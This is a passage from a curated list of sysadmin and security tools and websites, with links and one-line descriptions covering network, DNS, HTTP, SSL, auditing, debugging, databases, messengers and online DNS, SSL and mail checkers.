:small_orange_diamond: <a href="http://www.hping.org/"><b>hping</b></a> - is a command-line oriented TCP/IP packet assembler/analyzer.<br>
:small_orange_diamond: <a href="https://github.com/traviscross/mtr"><b>mtr</b></a> - is a tool that combines the functionality of the 'traceroute' and 'ping' programs in a single tool.<br>
:small_orange_diamond: <a href="https://github.com/mehrdadrad/mylg"><b>mylg</b></a> - utility which combines the functions of the different network probes in one diagnostic tool.<br>
:small_orange_diamond: <a href="http://netcat.sourceforge.net/"><b>netcat</b></a> - utility which reads and writes data across network connections, using the TCP/IP protocol.<br>
:small_orange_diamond: <a href="https://www.tcpdump.org/"><b>tcpdump</b></a> - is a powerful command-line packet analyzer.<br>
:small_orange_diamond: <a href="https://www.wireshark.org/docs/man-pages/tshark.html"><b>tshark</b></a> - is a tool that allows us to dump and analyze network traffic (wireshark cli).<br>
:small_orange_diamond: <a href="https://termshark.io/"><b>Termshark</b></a> - is a simple terminal user-interface for tshark.<br>
:small_orange_diamond: <a href="https://github.com/jpr5/ngrep"><b>ngrep</b></a> - is like GNU grep applied to the network layer.<br>
:small_orange_diamond: <a href="http://netsniff-ng.org/"><b>netsniff-ng</b></a> - is a Swiss army knife for your daily Linux network plumbing if you will.<br>
:small_orange_diamond: <a href="https://github.com/mechpen/sockdump"><b>sockdump</b></a> - dump unix domain socket traffic.<br>
:small_orange_diamond: <a href="https://github.com/google/stenographer"><b>stenographer</b></a> - is a packet capture solution which aims to quickly spool all packets to disk.<br>
:small_orange_diamond: <a href="https://github.com/sachaos/tcpterm"><b>tcpterm</b></a> - visualize packets in TUI.<br>
:small_orange_diamond: <a href="https://github.com/tgraf/bmon"><b>bmon</b></a> - is a monitoring and debugging tool to capture networking related statistics and prepare them visually.<br>
:small_orange_diamond: <a href="http://iptraf.seul.org/2.6/manual.html#installation"><b>iptraf-ng</b></a> - is a console-based network monitoring program for Linux that displays information about IP traffic.<br>
:small_orange_diamond: <a href="https://github.com/vergoh/vnstat"><b>vnstat</b></a> - is a network traffic monitor for Linux and BSD.<br>
:small_orange_diamond: <a href="https://iperf.fr/"><b>iPerf3</b></a> - is a tool for active measurements of the maximum achievable bandwidth on IP networks.<br>
:small_orange_diamond: <a href="https://github.com/Microsoft/Ethr"><b>ethr</b></a> - is a Network Performance Measurement Tool for TCP, UDP & HTTP.<br>
:small_orange_diamond: <a href="https://github.com/jwbensley/Etherate"><b>Etherate</b></a> - is a Linux CLI based Ethernet and MPLS traffic testing tool.<br>
:small_orange_diamond: <a href="https://github.com/mpolden/echoip"><b>echoip</b></a> - is a IP address lookup service.<br>
:small_orange_diamond: <a href="https://github.com/troglobit/nemesis"><b>Nemesis</b></a> - packet manipulation CLI tool; craft and inject packets of several protocols.<br>
:small_orange_diamond: <a href="https://github.com/packetfu/packetfu"><b>packetfu</b></a> - a mid-level packet manipulation library for Ruby.<br>
:small_orange_diamond: <a href="https://scapy.net/"><b>Scapy</b></a> - packet manipulation library; forge, send, decode, capture packets of a wide number of protocols.<br>
:small_orange_diamond: <a href="https://github.com/SecureAuthCorp/impacket"><b>impacket</b></a> - is a collection of Python classes for working with network protocols.<br>
:small_orange_diamond: <a href="https://github.com/arthepsy/ssh-audit"><b>ssh-audit</b></a> - is a tool for SSH server auditing.<br>
:small_orange_diamond: <a href="https://aria2.github.io/"><b>aria2</b></a> - is a lightweight multi-protocol & multi-source command-line download utility.<br>
:small_orange_diamond: <a href="https://github.com/x-way/iptables-tracer"><b>iptables-tracer</b></a> - observe the path of packets through the iptables chains.<br>
:small_orange_diamond: <a href="https://github.com/proabiral/inception"><b>inception</b></a> - a highly configurable tool to check for whatever you like against any number of hosts.<br>
</p>
##### :black_small_square: Network (DNS)
<p>
:small_orange_diamond: <a href="https://github.com/farrokhi/dnsdiag"><b>dnsdiag</b></a> - is a DNS diagnostics and performance measurement tools.<br>
:small_orange_diamond: <a href="https://github.com/mschwager/fierce"><b>fierce</b></a> - is a DNS reconnaissance tool for locating non-contiguous IP space.<br>
:small_orange_diamond: <a href="https://github.com/subfinder/subfinder"><b>subfinder</b></a> - is a subdomain discovery tool that discovers valid subdomains for websites.<br>
:small_orange_diamond: <a href="https://github.com/aboul3la/Sublist3r"><b>sublist3r</b></a> - is a fast subdomains enumeration tool for penetration testers.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/Amass"><b>amass</b></a> - is tool that obtains subdomain names by scraping data sources, crawling web archives, and more.<br>
:small_orange_diamond: <a href="https://github.com/google/namebench"><b>namebench</b></a> - provides personalized DNS server recommendations based on your browsing history.<br>
:small_orange_diamond: <a href="https://github.com/blechschmidt/massdns"><b>massdns</b></a> - is a high-performance DNS stub resolver for bulk lookups and reconnaissance.<br>
:small_orange_diamond: <a href="https://github.com/guelfoweb/knock"><b>knock</b></a> - is a tool to enumerate subdomains on a target domain through a wordlist.<br>
:small_orange_diamond: <a href="https://github.com/DNS-OARC/dnsperf"><b>dnsperf</b></a> - DNS performance testing tools.<br>
:small_orange_diamond: <a href="https://github.com/jedisct1/dnscrypt-proxy"><b>dnscrypt-proxy 2</b></a> - a flexible DNS proxy, with support for encrypted DNS protocols.<br>
:small_orange_diamond: <a href="https://github.com/dnsdb/dnsdbq"><b>dnsdbq</b></a> - API client providing access to passive DNS database systems.<br>
:small_orange_diamond: <a href="https://github.com/looterz/grimd"><b>grimd</b></a> - fast dns proxy, built to black-hole internet advertisements and malware servers.<br>
</p>
##### :black_small_square: Network (HTTP)
<p>
:small_orange_diamond: <a href="https://curl.haxx.se/"><b>curl</b></a> - is a command line tool and library for transferring data with URLs.<br>
:small_orange_diamond: <a href="https://gitlab.com/davidjpeacock/kurly"><b>kurly</b></a> - is an alternative to the widely popular curl program, written in Golang.<br>
:small_orange_diamond: <a href="https://github.com/jakubroztocil/httpie"><b>HTTPie</b></a> - is an user-friendly HTTP client.<br>
:small_orange_diamond: <a href="https://github.com/asciimoo/wuzz"><b>wuzz</b></a> - is an interactive cli tool for HTTP inspection.<br>
:small_orange_diamond: <a href="https://github.com/summerwind/h2spec"><b>h2spec</b></a> - is a conformance testing tool for HTTP/2 implementation.<br>
:small_orange_diamond: <a href="https://github.com/gildasio/h2t"><b>h2t</b></a> - is a simple tool to help sysadmins to hardening their websites.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/htrace.sh"><b>htrace.sh</b></a> - is a simple Swiss Army knife for http/https troubleshooting and profiling.<br>
:small_orange_diamond: <a href="https://github.com/reorx/httpstat"><b>httpstat</b></a> - is a tool that visualizes curl statistics in a way of beauty and clarity.<br>
:small_orange_diamond: <a href="https://github.com/gchaincl/httplab"><b>httplab</b></a> - is an interactive web server.<br>
:small_orange_diamond: <a href="https://lynx.browser.org/"><b>Lynx</b></a> - is a text browser for the World Wide Web.<br>
:small_orange_diamond: <a href="https://github.com/browsh-org/browsh/"><b>Browsh</b></a> - is a fully interactive, real-time, and modern text-based browser.<br>
:small_orange_diamond: <a href="https://github.com/dhamaniasad/HeadlessBrowsers"><b>HeadlessBrowsers</b></a> - a list of (almost) all headless web browsers in existence.<br>
:small_orange_diamond: <a href="https://httpd.apache.org/docs/2.4/programs/ab.html"><b>ab</b></a> - is a single-threaded command line tool for measuring the performance of HTTP web servers.<br>
:small_orange_diamond: <a href="https://www.joedog.org/siege-home/"><b>siege</b></a> - is an http load testing and benchmarking utility.<br>
:small_orange_diamond: <a href="https://github.com/wg/wrk"><b>wrk</b></a> - is a modern HTTP benchmarking tool capable of generating significant load.<br>
:small_orange_diamond: <a href="https://github.com/giltene/wrk2"><b>wrk2</b></a> - is a constant throughput, correct latency recording variant of wrk.<br>
:small_orange_diamond: <a href="https://github.com/tsenart/vegeta"><b>vegeta</b></a> - is a constant throughput, correct latency recording variant of wrk.<br>
:small_orange_diamond: <a href="https://github.com/codesenberg/bombardier"><b>bombardier</b></a> - is a fast cross-platform HTTP benchmarking tool written in Go.<br>
:small_orange_diamond: <a href="https://github.com/cmpxchg16/gobench"><b>gobench</b></a> - http/https load testing and benchmarking tool.<br>
:small_orange_diamond: <a href="https://github.com/rakyll/hey"><b>hey</b></a> - HTTP load generator, ApacheBench (ab) replacement, formerly known as rakyll/boom.<br>
:small_orange_diamond: <a href="https://github.com/tarekziade/boom"><b>boom</b></a> - is a script you can use to quickly smoke-test your web app deployment.<br>
:small_orange_diamond: <a href="https://github.com/shekyan/slowhttptest"><b>SlowHTTPTest</b></a> - is a tool that simulates some Application Layer Denial of Service attacks by prolonging HTTP.<br>
:small_orange_diamond: <a href="https://github.com/OJ/gobuster"><b>gobuster</b></a> - is a free and open source directory/file & DNS busting tool written in Go.<br>
:small_orange_diamond: <a href="https://github.com/ssllabs/ssllabs-scan"><b>ssllabs-scan</b></a> - command-line reference-implementation client for SSL Labs APIs.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/http-observatory"><b>http-observatory</b></a> - Mozilla HTTP Observatory cli version.<br>
</p>
##### :black_small_square: SSL
<p>
:small_orange_diamond: <a href="https://www.openssl.org/"><b>openssl</b></a> - is a robust, commercial-grade, and full-featured toolkit for the TLS and SSL protocols.<br>
:small_orange_diamond: <a href="https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html"><b>gnutls-cli</b></a> - client program to set up a TLS connection to some other computer.<br>
:small_orange_diamond: <a href="https://github.com/nabla-c0d3/sslyze"><b>sslyze
</b></a> - fast and powerful SSL/TLS server scanning library.<br>
:small_orange_diamond: <a href="https://github.com/rbsec/sslscan"><b>sslscan</b></a> - tests SSL/TLS enabled services to discover supported cipher suites.<br>
:small_orange_diamond: <a href="https://github.com/drwetter/testssl.sh"><b>testssl.sh</b></a> - testing TLS/SSL encryption anywhere on any port.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/cipherscan"><b>cipherscan</b></a> - a very simple way to find out which SSL ciphersuites are supported by a target.<br>
:small_orange_diamond: <a href="http://www.tarsnap.com/spiped.html"><b>spiped</b></a> - is a utility for creating symmetrically encrypted and authenticated pipes between socket addresses.<br>
:small_orange_diamond: <a href="https://github.com/certbot/certbot"><b>Certbot</b></a> - is EFF's tool to obtain certs from Let's Encrypt and (optionally) auto-enable HTTPS on your server.<br>
:small_orange_diamond: <a href="https://github.com/FiloSottile/mkcert"><b>mkcert</b></a> - simple zero-config tool to make locally trusted development certificates with any names you'd like.<br>
:small_orange_diamond: <a href="https://github.com/square/certstrap"><b>certstrap</b></a> - tools to bootstrap CAs, certificate requests, and signed certificates.<br>
:small_orange_diamond: <a href="https://github.com/yassineaboukir/sublert"><b>Sublert</b></a> - is a security and reconnaissance tool to automatically monitor new subdomains.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/mkchain"><b>mkchain</b></a> - open source tool to help you build a valid SSL certificate chain.<br>
</p>
##### :black_small_square: Security
<p>
:small_orange_diamond: <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/ch-selinux"><b>SELinux</b></a> - provides a flexible Mandatory Access Control (MAC) system built into the Linux kernel.<br>
:small_orange_diamond: <a href="https://wiki.ubuntu.com/AppArmor"><b>AppArmor</b></a> - proactively protects the operating system and applications from external or internal threats.<br>
:small_orange_diamond: <a href="https://github.com/grapheneX/grapheneX"><b>grapheneX</b></a> - Automated System Hardening Framework.<br>
:small_orange_diamond: <a href="https://github.com/dev-sec/"><b>DevSec Hardening Framework</b></a> - Security + DevOps: Automatic Server Hardening.<br>
</p>
##### :black_small_square: Auditing Tools
<p>
:small_orange_diamond: <a href="https://www.ossec.net/"><b>ossec</b></a> - actively monitoring all aspects of system activity with file integrity monitoring.<br>
:small_orange_diamond: <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"><b>auditd</b></a> - provides a way to track security-relevant information on your system.<br>
:small_orange_diamond: <a href="https://www.nongnu.org/tiger/"><b>Tiger</b></a> - is a security tool that can be use both as a security audit and intrusion detection system.<br>
:small_orange_diamond: <a href="https://cisofy.com/lynis/"><b>Lynis</b></a> - battle-tested security tool for systems running Linux, macOS, or Unix-based operating system.<br>
:small_orange_diamond: <a href="https://github.com/rebootuser/LinEnum"><b>LinEnum</b></a> - scripted Local Linux Enumeration & Privilege Escalation Checks.<br>
:small_orange_diamond: <a href="https://github.com/installation/rkhunter"><b>Rkhunter</b></a> - scanner tool for Linux systems that scans backdoors, rootkits and local exploits on your systems.<br>
:small_orange_diamond: <a href="https://github.com/hasherezade/pe-sieve"><b>PE-sieve</b></a> - is a light-weight tool that helps to detect malware running on the system.<br>
</p>
##### :black_small_square: System Diagnostics/Debuggers
<p>
:small_orange_diamond: <a href="https://github.com/strace/strace"><b>strace</b></a> - diagnostic, debugging and instructional userspace utility for Linux.<br>
:small_orange_diamond: <a href="http://dtrace.org/blogs/about/"><b>DTrace</b></a> - is a performance analysis and troubleshooting tool.<br>
:small_orange_diamond: <a href="https://en.wikipedia.org/wiki/Ltrace"><b>ltrace</b></a> - is a library call tracer, used to trace calls made by programs to library functions.<br>
:small_orange_diamond: <a href="https://github.com/brainsmoke/ptrace-burrito"><b>ptrace-burrito</b></a> - is a friendly wrapper around ptrace.<br>
:small_orange_diamond: <a href="https://github.com/brendangregg/perf-tools"><b>perf-tools</b></a> - performance analysis tools based on Linux perf_events (aka perf) and ftrace.<br>
:small_orange_diamond: <a href="https://github.com/iovisor/bpftrace"><b>bpftrace</b></a> - high-level tracing language for Linux eBPF.<br>
:small_orange_diamond: <a href="https://github.com/draios/sysdig"><b>sysdig</b></a> - system exploration and troubleshooting tool with first class support for containers.<br>
:small_orange_diamond: <a href="http://www.valgrind.org/"><b>Valgrind</b></a> - is an instrumentation framework for building dynamic analysis tools.<br>
:small_orange_diamond: <a href="https://github.com/gperftools/gperftools"><b>gperftools</b></a> - high-performance multi-threaded malloc() implementation, plus some performance analysis tools.<br>
:small_orange_diamond: <a href="https://nicolargo.github.io/glances/"><b>glances</b></a> - cross-platform system monitoring tool written in Python.<br>
:small_orange_diamond: <a href="https://github.com/hishamhm/htop"><b>htop</b></a> - interactive text-mode process viewer for Unix systems. It aims to be a better 'top'.<br>
:small_orange_diamond: <a href="https://github.com/aristocratos/bashtop"><b>bashtop</b></a> - Linux resource monitor written in pure Bash.<br>
:small_orange_diamond: <a href="http://nmon.sourceforge.net/pmwiki.php"><b>nmon</b></a> - a single executable for performance monitoring and data analysis.<br>
:small_orange_diamond: <a href="https://www.atoptool.nl/"><b>atop</b></a> - ASCII performance monitor. Includes statistics for CPU, memory, disk, swap, network, and processes.<br>
:small_orange_diamond: <a href="https://en.wikipedia.org/wiki/Lsof"><b>lsof</b></a> - displays in its output information about files that are opened by processes.<br>
:small_orange_diamond: <a href="http://www.brendangregg.com/flamegraphs.html"><b>FlameGraph</b></a> - stack trace visualizer.<br>
:small_orange_diamond: <a href="https://github.com/zevv/lsofgraph"><b>lsofgraph</b></a> - convert Unix lsof output to a graph showing FIFO and UNIX interprocess communication.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/rr"><b>rr</b></a> - is a lightweight tool for recording, replaying and debugging execution of applications.<br>
:small_orange_diamond: <a href="https://pcp.io/index.html"><b>Performance Co-Pilot</b></a> - a system performance analysis toolkit.<br>
:small_orange_diamond: <a href="https://github.com/sharkdp/hexyl"><b>hexyl</b></a> - a command-line hex viewer.<br>
</p>
##### :black_small_square: Log Analyzers
<p>
:small_orange_diamond: <a href="https://github.com/rcoh/angle-grinder"><b>angle-grinder</b></a> - slice and dice log files on the command line.<br>
:small_orange_diamond: <a href="https://lnav.org"><b>lnav</b></a> - log file navigator with search and automatic refresh.<br>
:small_orange_diamond: <a href="https://goaccess.io/"><b>GoAccess</b></a> - real-time web log analyzer and interactive viewer that runs in a terminal.<br>
:small_orange_diamond: <a href="https://github.com/lebinh/ngxtop"><b>ngxtop</b></a> - real-time metrics for nginx server.<br>
</p>
##### :black_small_square: Databases
<p>
:small_orange_diamond: <a href="https://github.com/xo/usql"><b>usql</b></a> - universal command-line interface for SQL databases.<br>
:small_orange_diamond: <a href="https://github.com/dbcli/pgcli"><b>pgcli</b></a> - postgres CLI with autocompletion and syntax highlighting.<br>
:small_orange_diamond: <a href="https://github.com/dbcli/mycli"><b>mycli</b></a> - terminal client for MySQL with autocompletion and syntax highlighting.<br>
:small_orange_diamond: <a href="https://github.com/dbcli/litecli"><b>litecli</b></a> - SQLite CLI with autocompletion and syntax highlighting.<br>
:small_orange_diamond: <a href="https://github.com/osquery/osquery"><b>OSQuery</b></a> - is a SQL powered operating system instrumentation, monitoring, and analytics framework.<br>
:small_orange_diamond: <a href="https://github.com/ankane/pgsync"><b>pgsync</b></a> - sync data from one Postgres database to another.<br>
:small_orange_diamond: <a href="https://github.com/laixintao/iredis"><b>iredis</b></a> - a terminal client for redis with autocompletion and syntax highlighting.<br>
</p>
##### :black_small_square: TOR
<p>
:small_orange_diamond: <a href="https://github.com/GouveaHeitor/nipe"><b>Nipe</b></a> - script to make Tor Network your default gateway.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/multitor"><b>multitor</b></a> - a tool that lets you create multiple TOR instances with a load-balancing.<br>
</p>
##### :black_small_square: Messengers/IRC Clients
<p>
:small_orange_diamond: <a href="https://irssi.org"><b>Irssi</b></a> - is a free open source terminal based IRC client.<br>
:small_orange_diamond: <a href="https://weechat.org/"><b>WeeChat</b></a> - is an extremely extensible and lightweight IRC client.<br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://github.com/skx/sysadmin-util"><b>sysadmin-util</b></a> - tools for Linux/Unix sysadmins.<br>
:small_orange_diamond: <a href="http://inotify.aiken.cz/"><b>incron</b></a> - is an inode-based filesystem notification technology.<br>
:small_orange_diamond: <a href="https://github.com/axkibe/lsyncd"><b>lsyncd</b></a> - synchronizes local directories with remote targets (Live Syncing Daemon).<br>
:small_orange_diamond: <a href="https://github.com/rgburke/grv"><b>GRV</b></a> - is a terminal based interface for viewing Git repositories.<br>
:small_orange_diamond: <a href="https://jonas.github.io/tig/"><b>Tig</b></a> - text-mode interface for Git.<br>
:small_orange_diamond: <a href="https://github.com/tldr-pages/tldr"><b>tldr</b></a> - simplified and community-driven man pages.<br>
:small_orange_diamond: <a href="https://github.com/mholt/archiver"><b>archiver</b></a> - easily create and extract .zip, .tar, .tar.gz, .tar.bz2, .tar.xz, .tar.lz4, .tar.sz, and .rar.<br>
:small_orange_diamond: <a href="https://github.com/tj/commander.js"><b>commander.js</b></a> - minimal CLI creator in JavaScript.<br>
:small_orange_diamond: <a href="https://github.com/tomnomnom/gron"><b>gron</b></a> - make JSON greppable!<br>
:small_orange_diamond: <a href="https://github.com/itchyny/bed"><b>bed</b></a> - binary editor written in Go.<br>
</p>
#### GUI Tools [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Terminal emulators
<p>
:small_orange_diamond: <a href="https://github.com/Guake/guake"><b>Guake</b></a> - is a dropdown terminal made for the GNOME desktop environment.<br>
:small_orange_diamond: <a href="https://gnometerminator.blogspot.com/p/introduction.html"><b>Terminator</b></a> - is based on GNOME Terminal, useful features for sysadmins and other users.<br>
:small_orange_diamond: <a href="https://sw.kovidgoyal.net/kitty/"><b>Kitty</b></a> - is a GPU based terminal emulator that supports smooth scrolling and images.<br>
</p>
##### :black_small_square: Network
<p>
:small_orange_diamond: <a href="https://www.wireshark.org/"><b>Wireshark</b></a> - is the world’s foremost and widely-used network protocol analyzer.<br>
:small_orange_diamond: <a href="https://www.ettercap-project.org/"><b>Ettercap</b></a> - is a comprehensive network monitor tool.<br>
:small_orange_diamond: <a href="https://etherape.sourceforge.io/"><b>EtherApe</b></a> - is a graphical network monitoring solution.<br>
:small_orange_diamond: <a href="https://packetsender.com/"><b>Packet Sender</b></a> - is a networking utility for packet generation and built-in UDP/TCP/SSL client and servers.<br>
:small_orange_diamond: <a href="https://ostinato.org/"><b>Ostinato</b></a> - is a packet crafter and traffic generator.<br>
:small_orange_diamond: <a href="https://jmeter.apache.org/"><b>JMeter™</b></a> - open source software to load test functional behavior and measure performance.<br>
:small_orange_diamond: <a href="https://github.com/locustio/locust"><b>locust</b></a> - scalable user load testing tool written in Python.<br>
</p>
##### :black_small_square: Browsers
<p>
:small_orange_diamond: <a href="https://www.torproject.org/"><b>TOR Browser</b></a> - protect your privacy and defend yourself against network surveillance and traffic analysis.<br>
</p>
##### :black_small_square: Password Managers
<p>
:small_orange_diamond: <a href="https://keepassxc.org/"><b>KeePassXC</b></a> - store your passwords safely and auto-type them into your everyday websites and apps.<br>
:small_orange_diamond: <a href="https://www.enpass.io/"><b>Enpass</b></a> - password manager and secure wallet.<br>
</p>
##### :black_small_square: Messengers/IRC Clients
<p>
:small_orange_diamond: <a href="https://hexchat.github.io/index.html"><b>HexChat</b></a> - is an IRC client based on XChat.<br>
:small_orange_diamond: <a href="https://pidgin.im/"><b>Pidgin</b></a> - is an easy to use and free chat client used by millions.<br>
</p>
##### :black_small_square: Messengers (end-to-end encryption)
<p>
:small_orange_diamond: <a href="https://www.signal.org/"><b>Signal</b></a> - is an encrypted communications app.<br>
:small_orange_diamond: <a href="https://wire.com/en/"><b>Wire</b></a> - secure messaging, file sharing, voice calls and video conferences. All protected with end-to-end encryption.<br>
:small_orange_diamond: <a href="https://github.com/prof7bit/TorChat"><b>TorChat</b></a> - decentralized anonymous instant messenger on top of Tor Hidden Services.<br>
:small_orange_diamond: <a href="https://matrix.org/"><b>Matrix</b></a> - an open network for secure, decentralized, real-time communication.<br>
</p>
##### :black_small_square: Text editors
<p>
:small_orange_diamond: <a href="https://www.sublimetext.com/3"><b>Sublime Text</b></a> - is a lightweight, cross-platform code editor known for its speed, ease of use.<br>
:small_orange_diamond: <a href="https://code.visualstudio.com/"><b>Visual Studio Code</b></a> - an open-source and free source code editor developed by Microsoft.<br>
:small_orange_diamond: <a href="https://atom.io/"><b>Atom</b></a> - a hackable text editor for the 21st Century.<br>
</p>
#### Web Tools [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Browsers
<p>
:small_orange_diamond: <a href="https://www.ssllabs.com/ssltest/viewMyClient.html"><b>SSL/TLS Capabilities of Your Browser</b></a> - test your browser's SSL implementation.<br>
:small_orange_diamond: <a href="https://caniuse.com/"><b>Can I use</b></a> - provides up-to-date browser support tables for support of front-end web technologies.<br>
:small_orange_diamond: <a href="https://panopticlick.eff.org/"><b>Panopticlick 3.0</b></a> - is your browser safe against tracking?<br>
:small_orange_diamond: <a href="https://privacy.net/analyzer/"><b>Privacy Analyzer</b></a> - see what data is exposed from your browser.<br>
:small_orange_diamond: <a href="https://browserleaks.com/"><b>Web Browser Security</b></a> - it's all about Web Browser fingerprinting.<br>
:small_orange_diamond: <a href="https://www.howsmyssl.com/"><b>How's My SSL?</b></a> - help a web server developer learn what real world TLS clients were capable of.<br>
:small_orange_diamond: <a href="https://suche.org/sslClientInfo"><b>sslClientInfo</b></a> - client test (incl TLSv1.3 information).<br>
</p>
##### :black_small_square: SSL/Security
<p>
:small_orange_diamond: <a href="https://www.ssllabs.com/ssltest/"><b>SSLLabs Server Test</b></a> - performs a deep analysis of the configuration of any SSL web server.<br>
:small_orange_diamond: <a href="https://dev.ssllabs.com/ssltest/"><b>SSLLabs Server Test (DEV)</b></a> - performs a deep analysis of the configuration of any SSL web server.<br>
:small_orange_diamond: <a href="https://www.immuniweb.com/ssl/"><b>ImmuniWeb® SSLScan</b></a> - test SSL/TLS (PCI DSS, HIPAA and NIST).<br>
:small_orange_diamond: <a href="https://www.jitbit.com/sslcheck/"><b>SSL Check</b></a> - scan your website for non-secure content.<br>
:small_orange_diamond: <a href="http://www.ssltools.com"><b>SSL Scanner</b></a> - analyze website security.<br>
:small_orange_diamond: <a href="https://cryptcheck.fr/"><b>CryptCheck</b></a> - test your TLS server configuration (e.g. ciphers).<br>
:small_orange_diamond: <a href="https://urlscan.io/"><b>urlscan.io</b></a> - service to scan and analyse websites.<br>
:small_orange_diamond: <a href="https://report-uri.com/home/tools"><b>Report URI</b></a> - monitoring security policies like CSP and HPKP.<br>
:small_orange_diamond: <a href="https://csp-evaluator.withgoogle.com/"><b>CSP Evaluator</b></a> - allows developers and security experts to check if a Content Security Policy.<br>
:small_orange_diamond: <a href="https://uselesscsp.com/"><b>Useless CSP</b></a> - public list about CSP in some big players (might make them care a bit more).<br>
:small_orange_diamond: <a href="https://whynohttps.com/"><b>Why No HTTPS?</b></a> - top 100 websites by Alexa rank not automatically redirecting insecure requests.<br>
:small_orange_diamond: <a href="https://ciphersuite.info/"><b>TLS Cipher Suite Search</b></a><br>
:small_orange_diamond: <a href="https://github.com/RaymiiOrg/cipherli.st"><b>cipherli.st</b></a> - strong ciphers for Apache, Nginx, Lighttpd, and more.<b>*</b><br>
:small_orange_diamond: <a href="https://2ton.com.au/dhtool/"><b>dhtool</b></a> - public Diffie-Hellman parameter service/tool.<br>
:small_orange_diamond: <a href="https://badssl.com/"><b>badssl.com</b></a> - memorable site for testing clients against bad SSL configs.<br>
:small_orange_diamond: <a href="https://tlsfun.de/"><b>tlsfun.de</b></a> - registered for various tests regarding the TLS/SSL protocol.<br>
:small_orange_diamond: <a href="https://sslmate.com/caa/"><b>CAA Record Helper</b></a> - generate a CAA policy.<br>
:small_orange_diamond: <a href="https://ccadb.org/resources"><b>Common CA Database</b></a> - repository of information about CAs, and their root and intermediate certificates.<br>
:small_orange_diamond: <a href="https://certstream.calidog.io/"><b>CERTSTREAM</b></a> - real-time certificate transparency log update stream.<br>
:small_orange_diamond: <a href="https://crt.sh/"><b>crt.sh</b></a> - discovers certificates by continually monitoring all of the publicly known CT.<br>
:small_orange_diamond: <a href="https://www.hardenize.com/"><b>Hardenize</b></a> - deploy the security standards.<br>
:small_orange_diamond: <a href="https://cryptcheck.fr/suite/"><b>Cipher suite compatibility</b></a> - test TLS cipher suite compatibility.<br>
:small_orange_diamond: <a href="https://www.urlvoid.com/"><b>urlvoid</b></a> - this service helps you detect potentially malicious websites.<br>
:small_orange_diamond: <a href="https://securitytxt.org/"><b>security.txt</b></a> - a proposed standard (generator) which allows websites to define security policies.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/ssl-config-generator"><b>ssl-config-generator</b></a> - help you follow the Mozilla Server Side TLS configuration guidelines.<br>
</p>
##### :black_small_square: HTTP Headers & Web Linters
<p>
:small_orange_diamond: <a href="https://securityheaders.com/"><b>Security Headers</b></a> - analyse the HTTP response headers (with rating system to the results).<br>
:small_orange_diamond: <a href="https://observatory.mozilla.org/"><b>Observatory by Mozilla</b></a> - set of tools to analyze your website.<br>
:small_orange_diamond: <a href="https://webhint.io/"><b>webhint</b></a> - is a linting tool that will help you with your site's accessibility, speed, security, and more.<br>
</p>
##### :black_small_square: DNS
<p>
:small_orange_diamond: <a href="http://viewdns.info/"><b>ViewDNS</b></a> - one source for free DNS related tools and information.<br>
:small_orange_diamond: <a href="https://dnslookup.org/"><b>DNSLookup</b></a> - is an advanced DNS lookup tool.<br>
:small_orange_diamond: <a href="https://dnslytics.com/"><b>DNSlytics</b></a> - online DNS investigation tool.<br>
:small_orange_diamond: <a href="https://dnsspy.io/"><b>DNS Spy</b></a> - monitor, validate and verify your DNS configurations.<br>
:small_orange_diamond: <a href="https://zonemaster.iis.se/en/"><b>Zonemaster</b></a> - helps you to control how your DNS works.<br>
:small_orange_diamond: <a href="http://leafdns.com/"><b>Leaf DNS</b></a> - comprehensive DNS tester.<br>
:small_orange_diamond: <a href="https://findsubdomains.com/"><b>Find subdomains online</b></a> - find subdomains for security assessment penetration test.<br>
:small_orange_diamond: <a href="https://dnsdumpster.com/"><b>DNSdumpster</b></a> - dns recon & research, find & lookup dns records.<br>
:small_orange_diamond: <a href="https://dnstable.com/"><b>DNS Table online</b></a> - search for DNS records by domain, IP, CIDR, ISP.<br>
:small_orange_diamond: <a href="https://intodns.com/"><b>intoDNS</b></a> - DNS and mail server health checker.<br>
:small_orange_diamond: <a href="http://www.zonecut.net/dns/"><b>DNS Bajaj</b></a> - check the delegation of your domain.<br>
:small_orange_diamond: <a href="https://www.buddyns.com/delegation-lab/"><b>BuddyDNS Delegation LAB</b></a> - check, trace and visualize delegation of your domain.<br>
:small_orange_diamond: <a href="https://dnssec-debugger.verisignlabs.com/"><b>dnssec-debugger</b></a> - DS or DNSKEY records validator.<br>
:small_orange_diamond: <a href="http://ptrarchive.com/"><b>PTRarchive.com</b></a> - this site is responsible for the safekeeping of historical reverse DNS records.<br>
:small_orange_diamond: <a href="http://xip.io/"><b>xip.io</b></a> - wildcard DNS for everyone.<br>
:small_orange_diamond: <a href="https://nip.io/"><b>nip.io</b></a> - dead simple wildcard DNS for any IP Address.<br>
:small_orange_diamond: <a href="https://ceipam.eu/en/dnslookup.php"><b>dnslookup (ceipam)</b></a> - one of the best DNS propagation checker (and not only).<br>
:small_orange_diamond: <a href="https://whatsmydns.com"><b>What's My DNS</b></a> - DNS propagation checking tool.<br>
:small_orange_diamond: <a href="https://blog.erbbysam.com/index.php/2019/02/09/dnsgrep/"><b>DNSGrep</b></a> - quickly searching large DNS datasets.<br>
</p>
##### :black_small_square: Mail
<p>
:small_orange_diamond: <a href="https://luxsci.com/smtp-tls-checker"><b>smtp-tls-checker</b></a> - check an email domain for SMTP TLS support.<br>
:small_orange_diamond: <a href="https://mxtoolbox.com/SuperTool.aspx"><b>MX Toolbox</b></a> - all of your MX record, DNS, blacklist and SMTP diagnostics in one integrated tool.<br>
:small_orange_diamond: <a href="https://www.checktls.com/index.html"><b>Secure Email</b></a> - complete email test tools for email technicians.<br>
:small_orange_diamond: <a href="http://www.blacklistalert.org/"><b>blacklistalert</b></a> - checks to see if your domain is on a Real Time Spam Blacklist.<br>
:small_orange_diamond: <a href="http://multirbl.valli.org/"><b>MultiRBL</b></a> - complete IP check for sending Mailservers.<br>
